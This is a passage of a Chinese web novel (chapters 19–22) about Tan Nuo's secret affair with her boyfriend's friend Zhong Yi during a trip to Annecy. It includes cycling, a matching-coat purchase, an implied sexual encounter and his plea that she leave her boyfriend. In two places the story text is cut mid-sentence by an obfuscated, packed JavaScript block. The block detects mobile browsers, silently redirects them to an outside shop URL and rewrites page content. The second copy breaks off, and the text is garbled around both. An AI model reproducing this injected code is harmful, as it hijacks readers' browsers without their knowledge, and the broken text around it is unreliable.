钟屹就这样沉默地站在她的门口,谭诺原本有很多的问题想要问,但是看到他的唇色有些泛白,眼底发青,忽然也不知道该问些什么了。 谭诺知道,他一夜没有睡。他站在清晨的屋外,看起来更冷了。 她抬头对上他的视线,钟屹就这样无声地注视着她。 她不明白自己心底为什么又产生了向他走近的欲/望,但是不可以。 昨晚她就想好了,结束了,而且,这本来就是没有开始的事。 为什么,现在他又这样出现呢? 谭诺矛盾地仰头看他,他的目光让她胸口发烫,谭诺竟然从钟屹的眼底察觉到了痛苦,就好像他在忍受什么。 “为什么还呆在这里?”她艰难地出声。 钟屹在这时走上前,用力地将她抱进了怀里。 chap19 钟屹在抱着她。 谭诺心里持续不断地冒出一个声音,孙庭誉才离开不久,如果他遗落下什么东西,随时可能会回来。 她在内心的惶惑中试着挣了一下,但是她根本挣脱不开。 过了许久,她认命地在他的怀里垂下头,将额头靠在钟屹的肩膀下。 “你为什么不走啊?”她还在问。 谭诺还想说更过分的话,为什么像癞皮狗一样粘上她,就因为她是孙庭誉的女朋友? 他应该走的,走了的话,谭诺就可以心安理得地当自己昨天又只是做了一场过分的梦。 谭诺被他抱得就要喘不过气,却听到钟屹低哑的声音:“不关你的事。” 清晨的阳光落在他们的身上,还是让人觉得冷漠。 谭诺这一次没有说什么,如果真的不关她的事就好了。 谭诺不知道自己被抱着在原地站了多久,久到她的腿已经有些酸了,谭诺忽然叹了口气,拍了拍钟屹的后背。 她再开口时声音听起来有些意外的明朗,“你没吃早饭吧,我带你去吃早饭?” 钟屹缓缓地松开她,若有所思地看着谭诺,目光透着审视。 “你在和我做朋友么?”他问。 谭诺试图驱散两个人气氛中的沉重的部分,干嘛搞得像是两只苦命的野鸳鸯,好像他们之间有多少爱,这样的人设不适合她,也不适合钟屹。 但是她还是说,“你真的是我的朋友就好了。” 钟屹因为她此刻的表情心里一动,抬手用手背碰了碰谭诺的脸。 他还不知道该怎样像孙庭誉捏她的脸却不会让她疼,他不懂那个力度。 看到谭诺的眉头因为他手背的凉意下意识地皱了一下后,钟屹收回了手。 “为什么?”他问。 “这样我们肯定从开始就不会互相讨厌,我会对你很好,你也对我很好,你会吗?不知道。”谭诺说,“但是我对朋友很好的。” 钟屹因为谭诺的话,开始想象:“做朋友?那要怎么开始?” 谭诺被问住了。 钟屹下一刻漠然地断言:“我们不会成为朋友。” 根本不可能。 完全两个世界的人,如果不是这样,连认识的可能性都没有。 他想象不出来。 谭诺闻言,点了点头,“确实,谁要和你这种狗屎性格做朋友。” 钟屹笑了,在疏离的晨光下注视着她:“去吃早饭,我饿了。” 谭诺没说话,她给许奈打了个电话,许奈没有接,大约是没有起。 她只好给她发个消息:【我出去了,跟他,你醒来记得给我打电话。】 现在这个时间点,只有一些面包店在营业。 谭诺一开始没有说自己已经吃过早餐,于是跟钟屹一起点了一杯热可可。 后来路过一家店有卖洛林乳蛋饼,钟屹想要给谭诺也买一个,但是谭诺摆了摆手。 “我不饿。” 钟屹倏地沉默下来。 因为他对上谭诺的眼神就知道,谭诺已经和孙庭誉吃过了早餐。 一顿早餐在安静中吃完,谭诺偶尔走神,她还是时不时地思考:孙庭誉会不会忽然出现。 吃完饭以后,谭诺感觉到略微的窒息感,便问钟屹:“你要不要回去休息,我跟我朋友——” “我不想休息。”钟屹说。 “那你想做什么?”谭诺问。 她问这句话的时候竟然起了一点补偿的心思,可是谭诺也不懂,自己为什么要补偿他。 她不欠他的。 “我想去逛逛。” 谭诺迟疑地回答,“哦,那就逛逛。” 两个人在城内走着,只是现在这个时间点,营业的店铺实在太少,实在没什么可逛的。 四周种满了法国梧桐,谭诺站在树下,几乎感觉不到夏天的存在。 他们就这样绕着古城转了好久,不知不觉又走到了安纳西湖。 湖水碧绿,远处的山脉泛着青色,谭诺又看到了爱情桥。 其实仔细看一看,和这里的其它桥也没有太大的差别。 桥可能就只是桥,承载不了特殊的感情,又或许,这感情也并不特殊。 她在这时听到钟屹问:“你今天回去么?回尼斯。” 谭诺点了点头,“嗯。” 她已经买了傍晚的机票。 其实,可能她更应该在今天早上和孙庭誉一起回去。 钟屹面朝着湖畔,没有看她,只是声音克制:“改签吧。” 他说,“明天再回去。” 谭诺望着他的侧脸,再一次陷入了纠结。 “留在这里做什么?”她声音茫然,也不知道自己在问谁。 “我带你逛街。” 谭诺甚至笑了一下,“你怎么好意思这么说,你这个路痴,根本不认路。” “嗯,”钟屹声音坦然,“但是地图可以。” 谭诺双手攥着,心里越发地乱,她不说话,钟屹也不催她,大约过了两分钟,口袋里的手机忽然震动,这突如其来的动静让她在原地颤了一下。 她都觉得自己大惊小怪,一看屏幕,是孙庭誉的电话。 她猜到了。 按照时间来看的话,孙庭誉这时候可能刚下飞机。 他说过下了飞机会给她打电话。 “喂,宝宝。” 谭诺不知道为什么下意识地将手机换到另一边的耳朵。 余光里,她看到钟屹勾了勾唇角。 “嗯。”她说,“你下飞机了?” “对,很快的,和许奈玩得怎么样?” “挺好的。”谭诺脚尖不自觉地在地上蹭。 “今晚你落地尼斯有点晚,不然我还是去接你? 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两个人就站在逐渐被阳光染上金色的湖边,谭诺感觉到自己的内心同样被炙烤。 钟屹望向远处的桥,骤然间开口:“你们昨天有去那座桥走走么?” 钟屹问话的时候,什么也没想。 他其实没有自虐的爱好。 谭诺听到了他的问题,她没有忘记自己昨晚和孙庭誉站在桥上,孙庭誉吻她的时候,她在分神。 钟屹的这个问题好像在将什么不见光的东西戳破,她想到自己刚刚还在欺骗孙庭誉,于是也自暴自弃地说:“有,我跟他什么关系你不知道吗?我们一起上这座桥,不可以?” 她也不知道自己为什么要用这样的语气对他说话,昨天就已经发生过这样的对话,但是这一次她心里更加发堵,昨天这个时候,她还什么错事都没有做过。 但现在,她不止做了,还在为他撒谎骗人,她不知道自己还能做些什么了。 钟屹终于转头看她,他看着她陷入怅惘的模样,内心奇异地感受到了一系列矛盾的情绪。 “我从来没说不可以啊。”他轻声说。 谭诺转身就要离开,钟屹忽地抓住她的手。 他又从后背抱着她。 许久,他声音很低地开口。 “别这样跑开,我不认得路,我会找不到你。” 谭诺再度被他困在了原地,“我没有要跑。” “嗯,不准跑,”钟屹点头,闭上了眼睛,“你不想提,我不提他了。” 他也不想提,一点也不想。 但是有时候带着痛的感觉更为真实,不至于让他在这场幻境里太过沉溺。 chap20 谭诺确实不想在这种时候提起孙庭誉,因为这会加重她的负疚感。 如果孙庭誉没有那么爱她,她可能还可以理所当然地做这些事,但是事实上不是这样。 她出轨了,她的身体已经出轨了。 她发觉自己已经开始习惯钟屹的拥抱,带着冷意的怀抱让人在这个夏天有些无法推开,明明夏天已经要结束了。 谭诺不想再为已经发生的事折磨自己,既然已经做了,除了接受好像没有别的办法。 这一刻她突然想,这几天的挣扎与痛苦是不是只是她在表演?这样等到事发那一天,她就可以说,我已经很痛苦了,不要怪我。 如果真的痛苦,她就不会轻易地被钟屹引诱。 钟屹却没有再给她胡思乱想的时间,将她调转方向,往另一边走。 “你看起来有点冷,买件外套吧。” “我不冷。” 谭诺不觉得冷,她只是因为心虚,她不是一个擅长说谎的人,特别是对着孙庭誉。 他们认识太多年了。 从前,她根本不需要说谎,就可以得到自己想要的东西。 但是现在,她在为她不该拥有的时刻撒谎。 “我冷。”钟屹说。 店铺已经开了一些,谭诺决定接受现状。 她打算将在安纳西的日子当成是她人生的gap day,让她的道德和人性的阴暗面在这个缝隙里透一口气,就一口。 两个人原本只是并排往前走,挨得不远也不近。 后来,谭诺因为出神,绿灯亮了忘了走,钟屹什么也没说地直接攥住她的手心,将她拉着往前走。 谭诺的手有些僵,就这样被他拉着过了马路。 走到街边后,谭诺以为钟屹会松开她的手,但是他没有。 “不可以牵么?”他转头问她。 谭诺不知道怎么说。 钟屹也不在乎,不等她的回答,又牵着她的手一起放进了他的裤子口袋。 …… 正常就算把手放在口袋里那也是放在上衣的口袋。 她忍不住吐槽:“你是不是正常人?我手这样很别扭的。” “凑合一下,上衣没口袋。”他又用那种眼神看着她,“你不是怕被人发现么。” 谭诺沉默了一瞬,为什么钟屹不怕呢? “你现在在做的什么事你心里没数吗?”她在质问他,也在质问自己。 钟屹收紧了她的手,“没什么数。” - 小镇本就不算大,谭诺被钟屹这样牵着转了很久,忽然看到橱窗里的一件秋季的外套,饱和度很低的粉色,设计有些特别,她有点喜欢。 钟屹没忘记孙庭誉的话,“不知道什么材质,可能会过敏。” 谭诺看到喜欢的东西就走不动路,再加上早晚的安纳西有点凉,她想买一件外套。 她终于找到机会从钟屹的手里解脱,“你牵得我都要骨折了。” 在店里试了一下后,谭诺很满意,只是她看到店员一直在比划些什么,便问钟屹。 “她在说什么?” “说这件衣服正反两面都可以穿。”钟屹回。 谭诺点了一下头,又将店里其它好看的衣服试了个遍。 她其实知道,她是想给自己找一点事情做,转移注意力的事情。 等到她腿有些站麻以后,她终于决定付钱。 钟屹说:“我买给你。” 谭诺站在原地,还没说话,就看到钟屹目光平静地说,“我也想要衣服,给我买。” 谭诺被他神情如常对着她要东西的样子逗笑了。 “你脸皮好厚,怎么找我要东西啊?” 钟屹表情没有什么不自然,“前天在海边,你说要送我。” 谭诺回想了一下,好像确实有这么一回事。 只是,钟屹说是前天,她才意识到原来在尼斯海边的种种只是两天前发生的事,现在她想起来竟然会有些恍如隔世的感觉。 两天的时间里,改变了这么多。 谭诺自然没忘记自己当时说的话,那个时候她还以为钟屹是因为孙庭誉的关系才几次三番来找她。 因为麻烦他太多次,她想要送个礼物来破冰。 现在,他们何止破冰? “但你当时对我说不关我的事,连让我说完话的机会都没给,”谭诺说,“而且,你今早又跟我说不关我的事,你这个人怎么这么反复?” 她说话的时候嘴角翘着,谭诺是在注意到店老板面对笑容的时候才意识到自己在做什么,她在跟钟屹打情骂俏…… 钟屹也只是注视着她,一副她不买就不会走的样子。 谭诺只好问:“那你要哪件?” 钟屹直接拿了和粉色外套同款的蓝色。谭诺还没反应过来这是情侣款,因为蓝色的外套好大。 他没有要试穿,只是看了一眼码数后,就拿在手里,无声地催促着谭诺去付钱。 “你都不试试吗?不合身怎么办?”谭诺从来没见人买衣服这样买的,她严重怀疑钟屹就是想要浪费她的钱,“到时候你买了不穿我就——” “会穿的。”钟屹说。 谭诺瞪了他一眼后,准备拿卡结账,“你真是软饭硬吃。” 拿出卡的时候她忽然想起来,这是孙庭誉给她的卡,她带来的mastercard在到了巴黎的当天就被偷了,而这里很多地方没有办法手机付款。 老板很热情地正准备接过卡来刷,谭诺却捏着卡没有递过去。 她已经清楚地认识到自己是一个厚脸皮的人了,所以才会这样跟男朋友的好朋友在陌生的国度像情侣一样逛街、互相买东西。 她已经逾越那条名为道德的底线,但是至少不该是花孙庭誉的钱给钟屹买东西。 谭诺还在思考要不要用英语问一下老板,这里可不可以手机支付,身旁的钟屹一言不发地递过来自己的卡。 谭诺侧头望他,只看得到他坚毅冷峻的侧脸。 谭诺不知道说什么好,她以为以钟屹这么没底线的性格,说不定对她花孙庭誉的钱来给他买东西这种事乐见其成。 “那我还要还吗?” 钟屹似乎也没有想过这个问题,“记着就好。” 记着什么?记着欠他的钱还是什么?钟屹没说,谭诺也没有问。 - 结完账以后,谭诺就看到钟屹在和店员说些什么,很快,店员拿出一把剪刀,将两件衣服的标签全部剪掉。 …… 钟屹在她的视线里,将外套套上。 这是谭诺第一次看到钟屹穿淡蓝色的衣服。他虽然偶尔穿着白色衬衫作为内搭,但是外套一直都是阴郁的深色,连睡衣都是。 谭诺觉得也没有什么不合适,就看到钟屹将她的那件也披到她身上。 “我现在还不冷呢。” “去吃午饭,吃完带你去兜风。”钟屹再一次牵住她的手。 - 谭诺想象中的兜风是钟屹开着跑车带她环山观景,但是实际上,他不知道从哪里找来两辆骑行车…… 他们就这样漫无目的地骑着车在安纳西转悠。 谭诺原本以为自己骑一会儿就会累,但是风景实在太美,她很久没有感觉到这样的自由,阿尔卑斯山脉、野鸭子、天鹅、还有被主人牵着的狗狗,他们停停歇歇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9659178|101193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然这样环着安纳西骑到了傍晚。 迎着晚风,谭诺觉得再没有比这个更为惬意的时刻。 他们一路上并没有说很多话,只是在古老小镇的一角偶尔驻足。 到安纳西湖畔的时候,他们还是一起骑车经过了爱情桥。 这是谭诺第一次没有选择拍照留念,谭诺忽然觉得,有的东□□自放在心里,不被除了自己以外的任何人记住,好像也很好。 钟屹却在这时拿出了手机,谭诺右手扶着车,左手下意识地想要挡住自己的脸。 钟屹目光有一瞬的凝滞,很快无所谓地扯了扯唇角:“没有拍你。” “最好没有,”谭诺皱了一下鼻子,“你拍照的技术太差了。” 她轻咳了一声,问:“你平常运动很多吗?怎么看起来一点也不累?” 钟屹声音不咸不淡:“还可以,最近的运动量都来自于找你。” 谭诺下意识地以为他是在说他被迫接机、去天使湾找她的事,很快她又想到了他来安纳西找她的事。 他究竟是怎么找到她的?谭诺到现在还是没有想明白。 但是她还是没有问。 她看到他在拍地面,仍然感到好奇:“这个地面有什么特别吗?” 钟屹望向她,就在谭诺以为他会说出什么让她吃惊的答案时,钟屹说:“除了可以在上面骑车,还可以用脚踩。” …… “你有病。”她忍不住骂他,“跟你正经说话,你也开玩笑。” 说完她又想到了昨天某个时刻前她也这样说过钟屹,然后,他就开始吻她了。 夕阳下,谭诺看着他,显然钟屹也想到了。 “你想我亲你么?”他的眼睛在黄昏的映照下看起来有些柔和,声音也是,“那你过来。” 谭诺再一次感到被蛊惑。 她告诉自己,不是因为他,是因为夕阳,是因为湖畔,还有那座桥。 “你想得美。”谭诺脚踩在踏板上,身心轻盈地骑着向前。 脉脉的夕阳落在他们的头顶,这一秒竟也镌刻出看似恒久的画面。 - 谭诺难得骑车骑得这么开心,只是回到许奈的民宿后,再对上许奈的视线,神情难免带着些许的尴尬。 许奈这一天都很识趣地没有打扰过她。 “平常没见你这么爱运动,今天也不知道适可而止一下。”许奈说。 谭诺也不知道这一句话怎么听起来那么内涵。 “但是只有屁股有点疼,坐久了,”她说,说完她又补了一句,“坐在座椅上坐久了。” 许奈笑死了,“我又没说别的!” 钟屹手里拿着外套,就在一边默默地等着。 谭诺又发现他和孙庭誉的不同,当她跟朋友聊天时,孙庭誉总是站在她的身边,他人缘很好,她的朋友对他的印象也很好。 但是钟屹不同,他不打算介入她的世界。 他只打算介入她和孙庭誉。 她想起来,刚刚进入民宿前,她又接到了孙庭誉的电话。 接完电话以后,她和钟屹也没有再说话了。 谭诺跟许奈说:“今天好累,我先上去休息了。” 明天还得起得早一点,因为还要先去日内瓦的机场。 民宿的走廊上挂着一串串灯笼一样的灯,就这样串在藤蔓上,谭诺走在暖黄的光下,看到自己的影子旁是钟屹的影子。 她路过他和钟屹昨天睡过的那个房间,犹豫了一下,继续往前走。 刷完卡后,门被她推开,一直没说话的钟屹忽然在她身后静静地出声。 “东西收拾好出来,”他说,“我等你。” chap21 谭诺在原地站着,想了想,“哦”了一声。 她的东西不怎么乱,孙庭誉今早离开的时候差不多已经帮她收好。 她慢吞吞地衣服归类好放回到行李箱原本应该放的位置,谭诺这个时候才注意到行李箱的最下面是有一件薄外套的,大约是孙庭誉放进来的。 钟屹在外面待了五分钟、六分钟、八分钟…… 他的耐心终于被耗尽,径直地走进不属于他的房间,他没有去看谭诺和孙庭誉睡过的床,直接走到行李箱处,东西已经收好了。 他对上谭诺的目光,直接将行李箱的拉链拉上,提在手里,另一只手攥住谭诺的手腕就将她往外面带。 “你不是说等我?怎么进来了?”谭诺还在回头看,不知道自己有没有遗落的东西。 “我不进来你打算收拾一年?” “我又没有毛病……” 谭诺的注意力被他生拉硬拽地给扯了回来。 她又一次半推半就地跟钟屹回到了昨天那个房间。 进来以后,钟屹见她盯着自己看,一脸欲言又止。忽然笑了。 “看什么?”他注视着她,“我付了房费的。” 谭诺本来根本没有想这个问题。 “哦,你要是在网站下单的还可以给我朋友一个好评。”她不知道自己在胡说八道什么,当她尴尬的时候就会这样。 “可以。”钟屹点了一下头。 谭诺这时才发现她昨天穿的衣服被叠好放在了床边,她昨天竟然怎么都没有找到。 钟屹注意到了她的视线,却没有解释的意思。 “去洗澡吧。”钟屹将她的箱子放在地上。他的脚不小心碰到了箱子的轮子。 谭诺又想起来他之前踢她箱子的事,“你前几天还踢我新买的箱子……” 谭诺站在原地不动,她知道自己还是在没话找话说。 钟屹垂眸,有些无语地看她一眼,又低头一脸冷淡地对着那个箱子说:“对不起,你可以原谅我踢你的那一脚吗?” 谭诺有点想笑,“你看起来不太诚恳。” “对,我应该跪下来祈求它的原谅,”钟屹抱臂,“你不是很累,想要休息?” “但是,你晚上不是不睡觉么?”她问。 钟屹想了一下,“今天有点累,应该睡得着。” 谭诺最后还是从箱子里拿上睡衣去洗澡了。 在浴室脱衣服的时候,她有那么一秒在想,钟屹会不会进来。 虽然他们已经做到了这一步,但是在这样的地方面对他,她还是有点做不到。 好在,很快,隔壁的淋浴间也传来了水声,谭诺松了口气。 她磨磨蹭蹭地洗了好久,又吹好了头发,换上睡衣以后一出来,就看到钟屹已经穿着浴袍躺到了床上。 是他们昨天做的时候躺的那张床。 床上的四件套已经换过,毕竟昨天被他们折腾成那样,根本不能再睡人。 钟屹见她过来,轻拍了一下床的另一边。 “过来啊。” 谭诺也不知道自己在迟疑什么,她心里有那么两秒在担心孙庭誉会给自己打视频电话。担心完以后,才想起来回来前她跟孙庭誉说过,她玩得很累,回来就想休息。 她走到床边才看到钟屹手上拿着一个按摩膏。 “你朋友递来的,说你明天会肌肉酸痛。”他说。 谭诺不夸张地说,她现在已经开始痛了,但是许奈在做什么?不会是想着让钟屹给她按摩吧…… 她又想起来之前钟屹给她涂药的事…… 谭诺没有很想涂这个东西,因为怕粘到衣服上,但是她也怕明天坐飞机的时候肌肉酸痛很痛苦,于是想再去洗个手,在大腿上涂一点就好。 她刚转身,就被钟屹拉着坐到了他的腿上。 钟屹的身上只套着一件浴袍,浴袍材质柔软,谭诺感觉到自己的身体因为上面的绒毛痒痒的。 “你干嘛?” 她慌忙搂着他的脖子,钟屹已经开始以这个姿势捏她的腿。 钟屹隔着单薄的睡衣,一开始的力道没有很重,有些轻。 他没用按摩膏,抬眼看谭诺的表情,见她受得了才加大了一点力。 不知道是不是因为按到了她神经酸软的地方,她搂着钟屹的脖子“嗷”了一声。 “你想我死,直说好吗?”她掐他的脖子。 钟屹仰头看她,眼里带着一点笑意,像是感觉不到她在掐他。 “你想这样死在床上?”钟屹问。 谭诺瞪他一眼,不知道他是在跟她说诨话还是怎样,毕竟他说什么话都是这副面不改色的腔调。 但是他捏到的地方好像真的没那么难受了,不知道是心理作用还是什么。 谭诺这样坐在他的身上,只好开玩笑地缓解内心的一点不自在。 她开玩笑地说:“你以后没工作的话,还可以在街上放个凳子给人按摩,很专业,而且这张脸,肯定会有很多人光顾的。” 钟屹闻言手上的动作没有停。 “专业么?”他眼帘垂下,声音淡淡的,“那可能是遗传?” “嗯?”谭诺没有懂。 钟屹看向她,过了几秒后,很平静地说:“我妈妈以前在日内瓦以按摩为生,只是不知道,按摩也可以遗传。” 谭诺不知道自己该说什么了。 “怎么这个表情?”钟屹笑了笑,“听她说一个小时40瑞士法郎,是不是还可以?” 谭诺呆呆地点了一下头,又问:“可是,我不知道40瑞士法郎是多少。” 钟屹算了一下,“差不多300人民币。” 谭诺发自内心地说:“那真的很多钱诶,等我工作以后,一个小时可能赚不到那么多。” 钟屹久久地注视着她,倏地皱起了眉头,像是陷入了某种互斥的矛盾中。 许久,他像是在轻叹。 “为什么这么善良?”他眼神复杂,声音有些轻,“这样不好,会让坏人有机可乘。” 比如他。 谭诺原本因为他提起他的妈妈,不知道该怎么接话,听到钟屹这么说,她茫然地看着他。 “可是我善良吗?”她摇了摇头。 一点也不,善良的话,会以这样的姿态坐在男友朋友的腿上吗? 没有这样善良的人。 钟屹没再说话,凑过去吻了她一下,又一下。 在谭诺目光的逡巡下,钟屹突然没办法再直视这道目光。 他怕自己想要得更多,更多。 比谭诺能给他的要多。 到那个时候,要怎么办? 钟屹收回目光,抱着谭诺躺到了床上。 谭诺以为这一晚,她会和钟屹发生点什么,但是躺在他怀里的时候,她突然觉得,什么都没发生,好像更危险。 “睡吧。”钟屹将谭诺禁锢在他的怀抱里、在这个即将结束的黑夜中,“晚安。” - 谭诺是被孙庭誉的电话吵醒的。 她睁开惺忪的双眼,就看到钟屹已经睁开了眼睛,不知道这样看了她多久。 他的眼里有一点红血丝,但是看起来不像是一夜没睡。 谭诺有点想问他什么时候醒来的,只是电话持续地在响,像一个不定时炸弹。 她还是接通了电话,顺势起了床,往浴室走去。 她还是没有办法坦然地在钟屹面前接孙庭誉的电话。 孙庭誉说过会叫她起床,在国内的每一天,只要她第二天早上有什么需要早起的事,孙庭誉都会提前定好闹钟叫她起床。 “是不是又睡到现在?” 谭诺一边刷牙,一边回应他,“在刷牙了。” 孙庭誉听出她在洗漱,便也不担心她一会儿会继续睡觉错过飞机。 “记得行李箱的东西不要丢了,知道吗?” “好。”谭诺漱完口,挂掉了电话。 “到时候我到机场接你。” 谭诺顿了顿后,说,“好。” 洗了个脸的功夫,她看到钟屹也站到了她的身旁在洗漱。 谭诺站了一会儿,等钟屹洗完脸后,她问道:“你今天也要回尼斯吗?” 钟屹擦干净脸后,没什么表情地垂下视线看着她。 “你要我跟你一起回去么?”他问,“你不要吧。” 谭诺不知道他是不是在因为孙庭誉刚刚的那通电话不高兴,但是没有这个道理。 “我没有要你过来,你不也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最后的那一刻,谭诺不知道是因为昨天下午骑了太久的车还是因为现在的运动,全身酸软着抽搐,她感觉到自己颈部的有一阵触感,只是麻痹的神经和无法动弹的身体没有办法抗拒。 她又如钟屹所愿地在他喉/结处留了痕。 分明的作恶的痕迹。 躺下的时候,钟屹吻了一下她耳下的肌肤。 他的声音很低:“这里有吻/痕。” 谭诺却忽然惊醒,身体的酸软让她的声音听起来有些无力。 “你说什么?” 钟屹却没放开她,只是问:“不可以么?” 无力以后是莫名的愤怒,谭诺一下子推开钟屹,站到床边穿衣服。 “你故意的对不对?”她不喜欢这样。 不喜欢这种计划被打破的感觉,脖子上的痕迹好像开始在心里生根,她似乎已经看到孙庭誉指着那里问她为什么要背叛的画面。 她还没有做好准备,她还没有…… 空气里的柔情蜜意已散去,钟屹就这样看着谭诺背对着他穿衣服。 他忽然觉得没意思。 谭诺穿上裙子后,又四处找上衣。 不是他给她买的外套,是孙庭誉准备好的她穿上一定不会过敏的外套。 钟屹冷眼看着她手上的动作急躁又不耐,终于走到了她面前。 他看到谭诺将衣领一颗一颗扣到最上,连扣错了一颗都不知道。 钟屹一声不吭地将她的手拉开,又将她错扣的扣子解下。 谭诺表情不太好看。 “你做什么?” 钟屹却箍住她的手,他眼神冷静,又透着一股死寂。 “扣错了。”他嗤笑了一声,不知道是在笑他,还是在笑谭诺。 谭诺无法理解地直视他,她的心好乱好乱。 钟屹却不想面对这个眼神。 “刚刚骗你的,我没在这里留下痕迹,”他扶着她的肩膀,将她转了个方向,正对着对面的镜子。 谭诺却不敢直视镜子里的自己,刚刚他们曾在镜子面前精疲力尽,但是现在…… “你不想让他知道,”钟屹说,“那他就发现不了。” “骗我很好玩吗?”谭诺蹙着眉头。 “不好玩。” “那你为什么要这样?” “因为……”钟屹目光虚空地看着某个点,许久没有说话。 就在谭诺以为他不会再说话的时候,钟屹突然将脑袋抵在她的肩窝。 “不然,”他的声音很沉,“跟他分手吧。” chap22 “跟他分手吧。” 谭诺以为自己听错了。 她从钟屹的口中听到了分手,这是这两天以来,她第二次听到“分手”这样的字眼。 昨天,在孙庭誉突然出现的时候,许奈也曾说过,如果她不打算分手,就换一副表情…… 谭诺是有过分手的念头,但那还是在孙庭誉没有告知她就决定要去法国时。 但是,在孙庭誉一再的保证下,她还是没有舍得。 会舍不得的,她从14岁的夏天认识孙庭誉,没记错的话,那时候也是夏季的尾巴,暑假就要结束了,就和现在一样。 他们认识了那么久那么久,孙庭誉一直在她身边,爱她、陪伴她。 如果去年他来法国前分手,谭诺也不会出现在这里了,但是现在…… 如果现在考虑分手的话,她是在为什么分手? 谭诺感到心里空荡荡的,就好像什么都抓不住。 “为什么要分手?”她不在状态地问。 钟屹在这时离开她的身体,他垂眸盯着她。 “你爱他?” 谭诺原本可以毫不犹豫地回答这个问题,她当然爱,不爱怎么会在一起,她又怎么会愿意独自一个人跑来法国给他惊喜。 但是,她现在羞于回答了,面前站着的人是她背叛她和孙庭誉爱情的证明。 可是,她还是梗着脖子回答。 “我……我爱的,”她在说给钟屹听,“而且,他也爱我。” 钟屹的身体僵直地站着,但是他最后也只是扯了一下唇角。 嗯,就算他爱她,但是还不是离开她来了法国。 “你在冷笑什么?”谭诺觉得他的笑容好刺眼。 钟屹没有回答这个问题,只是倏地向谭诺走近了一步。 他们现在的距离很近,近到谭诺感觉到了压迫感。 他忽然问:“那我呢?” 谭诺怔在原地,“什么你呢?” 钟屹也只是看着她:“你明白我在问什么。” 谭诺犹豫地说:“我不明白。” 钟屹没太在意,只是笑了:“那你为什么跟我这样啊?” 谭诺不知道这是不是她第一次从钟屹的眼神里看到不解的目光,她也想过这个问题的,但是她没找到答案,她能接受的答案。 她只是小声说:“是你引诱我的。” 钟屹不知怎么又露出了笑容,但是,他很快恢复了往日的神情。 “谁引诱你,你都会愿意?”他抬手摸她的头发,“还是说,因为我?” 谭诺闭着嘴巴,突然想要反问:那么你呢?又为什么要引诱我?只是因为我吗? 但是她不可以问,她不该好奇,因为她害怕这背后的答案。 “我没有多少时间了,我要走了。” 她想去拉地上的行李箱,她该准备收拾东西离开了。 钟屹从她身侧攥住她的手腕。 谭诺想甩都甩不掉:“干嘛?” “胆小鬼。”钟屹说。 - 在民宿吃完早餐后,许奈因为不想打扰谭诺和钟屹,便没有提出送她去机场。 许奈这时看了一眼钟屹身上的外套,对谭诺耳语:“你们是不是有点胆子太大了,还买情侣装?” 昨天只有谭诺穿了外套,钟屹拿在了手里,所以许奈并没有注意。 谭诺闻言看过去,这时才发现这是同款不同色。 她这几天心事装了太多,再加上男款的版型好大,她压根没有注意到。 打车前往机场的时候,谭诺和钟屹两个人坐在后座。 谭诺憋了一会儿,终于忍不住问:“你不会想在他面前也穿着这个外套吧?” 钟屹原本在闭目养神,因为谭诺的话睁开了眼睛,反应难得有些慢。 他有这样想过么?大约没有,只是早上有些冷。 他在谭诺的视线里,默不作声地将衣服脱了下来。 脱完后,他问:“可以了?满意么?” 谭诺被他这样看着,就好像她欺负了他一样。 “干嘛搞得好像我在欺负你一样。” 钟屹低低地应了一声,“你就是。” “你可以穿反面啊,”谭诺注意到反面好像是米色,“不穿拉倒,才不关我的事。” 钟屹没再说话,过了一分钟将衣服换了一边又套上了。 谭诺也想着闭上眼睛在座椅上靠一会儿,钟屹的头又落了下来,枕在了她的肩膀上。 “喂……”谭诺不知道他怎么又靠过来。 “喂什么?” 谭诺还不习惯在人前和他这样亲密。 “你干嘛枕我?” “困。” “困你不能靠着窗户玻璃吗?” “脏,而且凉,”他声音有些早起之后的黏糊,“你很暖和。” 谭诺手又开始揪外套上的拉链,“你有本事用法语说脏,让司机听听。” 钟屹安静了几秒,倏地开口:“你确定?我真的做得出来这么低情商的事。” 谭诺一想到她也在车里呢,连忙笑着阻止:“不要了。” 钟屹枕着她的肩膀轻笑了一声,又将头往她的颈部蹭了蹭,谭诺注意到司机大叔已经在透着后视镜看他们了。 钟屹的头发就这样摩挲着她那里的肌肤,痒痒的。 她终于找到了借口:“你这样我睡不着了。” 钟屹闻言坐直了身体。 没等谭诺做出什么反应,他忽然将手掌轻抚过她的脑袋,将她的头压到他的肩膀上。 谭诺被迫这样枕着他,过了一会儿,她忍不住嘟哝道:“你真爱强买强卖。” 钟屹不在意:“你不是困?那就这样睡。” 但是谭诺睡不着。 她昨晚睡得很好,这是她醒来以后一直在回避的一件事,她以为她在钟屹的身边不会睡得很好。 也许是因为昨天玩得太累太累了。 “你昨晚睡着了吗?” 钟屹没想到她又开启了一个话题,“睡了。” “你平常晚上不睡觉都在干嘛?” “画图。” 谭诺问完以后,才想起来,孙庭誉和她说过,钟屹习惯晚上画图纸,虽然这几天她都没有见过。 当初得知钟屹有钱到在欧洲买了那么多房子的时候,谭诺很是艳羡:“好羡慕富二代,出生就那么有钱。下辈子也让我做富二代吧。” 她虽然说这样的话,但是其实对自己的生活很满意。 不过谭诺只以为钟屹的钱都是他家里给的,后来孙庭誉才告诉她,不是这样,钟屹刚上高中就靠画画赚了很多钱。 那个时候,钟屹在一个老师的建议下,做了一个账号,上传剪辑好的画画的过程。 那时候正是短视频发展初期,他的账号因为内容垂直还有种种原因,在油管得到了很大的曝光,他因此赚了很多钱。 “谁会喜欢看那种视频?他是不是露脸了?”谭诺那时候很讨厌钟屹,在知道他竟然靠这个赚了那么多钱后,还有些酸酸的。 孙庭誉先是笑着否认:“没有露脸。” 很快孙庭誉品出了点谭诺的言下之意,捏着她的脸问:“什么意思?你觉得他长得帅?” 